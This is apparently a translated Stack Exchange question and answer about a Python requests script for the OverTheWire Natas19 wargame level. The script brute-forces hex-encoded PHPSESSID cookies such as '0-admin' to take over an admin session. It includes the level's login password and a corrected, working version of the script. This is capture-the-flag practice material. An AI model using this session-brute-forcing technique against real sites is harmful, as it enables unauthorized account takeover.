requests.post中无法将hexlify结果作为Cookie的问题求助

问题场景 #

编写Natas19靶场的爆破脚本时遇到两个问题：

• 使用binascii.hexlify生成的bytes类型值作为PHPSESSID Cookie传入requests.post时触发类型错误
• 将bytes解码为字符串后，代码可运行但Cookie未被正确发送

原脚本代码：

import requests
import string
import binascii
import codecs

url="http://natas19.natas.labs.overthewire.org/"
user="natas19"
passwd="8LMJEhKFbMKIL2mxQKjv0aEDdk7zpT0s"
cookie=dict(PHPSESSID="0")
test="{}-admin"

for i in range(0,641):
    with requests.Session() as sesh:
        encoded=binascii.hexlify(bytes(test.format(i),"utf-8"))
        print("Trying: " + str(i) + "-admin")
        print(encoded)
        cookie=dict(PHPSESSID=encoded)
        sesh.post(url,auth=(user,passwd),cookies=cookie)
        r=sesh.get(url,auth=(user,passwd)).content
        print(r)
        print(sesh.cookies.get_dict())
        if "You are an admin." in str(r):
            print("Success! Admin website:\n" + str(sesh.get(url,auth=(user,passwd)).content))
            break;
        else:
            print("Failed.")

触发的错误信息：

Trying: 0-admin
b'302d61646d696e'
Traceback (most recent call last):
  File "C:/Users/jakub/Desktop/natas19.py", line 17, in <module>
    sesh.post(url,auth=(user,passwd),cookies=cookie)
  File "C:\Users\jakub\AppData\Local\Programs\Python\Python311\Lib\site-packages\requests\sessions.py", line 635, in post
    return self.request("POST", url, data=data, json=json, **kwargs)
  File "C:\Users\jakub\AppData\Local\Programs\Python\Python311\Lib\site-packages\requests\sessions.py", line 573, in request
    prep = self.prepare_request(req)
  File "C:\Users\jakub\AppData\Local\Programs\Python\Python311\Lib\site-packages\requests\sessions.py", line 471, in prepare_request
    cookies = cookiejar_from_dict(cookies)
  File "C:\Users\jakub\AppData\Local\Programs\Python\Python311\Lib\site-packages\requests\cookies.py", line 537, in cookiejar_from_dict
    cookiejar.set_cookie(create_cookie(name, cookie_dict[name]))
  File "C:\Users\jakub\AppData\Local\Programs\Python\Python311\Lib\site-packages\requests\cookies.py", line 352, in set_cookie
    and cookie.value.startswith('"')
TypeError: startswith first arg must be bytes or a tuple of bytes, not str

问题分析 #

1. 类型错误原因：requests库的cookies参数要求值为字符串类型，直接传入binascii.hexlify返回的bytes对象，会导致内部处理时的类型不匹配错误。
2. Cookie未发送原因：原脚本每次循环都新建requests.Session()，且仅在post请求中携带Cookie，后续get请求未正确复用该Cookie；同时Session会自动管理Cookie，手动传入Cookie后需要确保Session正确保留该值。

修复后的代码 #

import requests
import binascii

url = "http://natas19.natas.labs.overthewire.org/"
user = "natas19"
passwd = "8LMJEhKFbMKIL2mxQKjv0aEDdk7zpT0s"
test = "{}-admin"

for i in range(0, 641):
    # 将生成的内容转为十六进制字符串
    encoded = binascii.hexlify(bytes(test.format(i), "utf-8")).decode("utf-8")
    print(f"Trying: {i}-admin | Cookie: {encoded}")
    
    with requests.Session() as sesh:
        # 设置认证信息，后续请求自动携带
        sesh.auth = (user, passwd)
        # 将Cookie直接设置到Session的cookies容器中
        sesh.cookies.set("PHPSESSID", encoded)
        
        # 发送请求并获取响应文本
        r = sesh.get(url)
        response_content = r.text
        
        print(f"Response status: {r.status_code}")
        if "You are an admin." in response_content:
            print(f"Success! Admin content:\n{response_content}")
            break
        else:
            print("Failed.")

关键修改说明 #

• 解码bytes为字符串：使用.decode("utf-8")将binascii.hexlify返回的bytes对象转为字符串，符合requests对Cookie值的类型要求。
• Session Cookie设置优化：直接通过sesh.cookies.set()将PHPSESSID设置到Session中，确保后续所有请求都会自动携带该Cookie。
• 简化请求流程：Natas19无需单独发送post请求，直接携带Cookie和认证信息发送get请求即可验证权限。

内容的提问来源于stack exchange，提问作者Nieprzyjaciel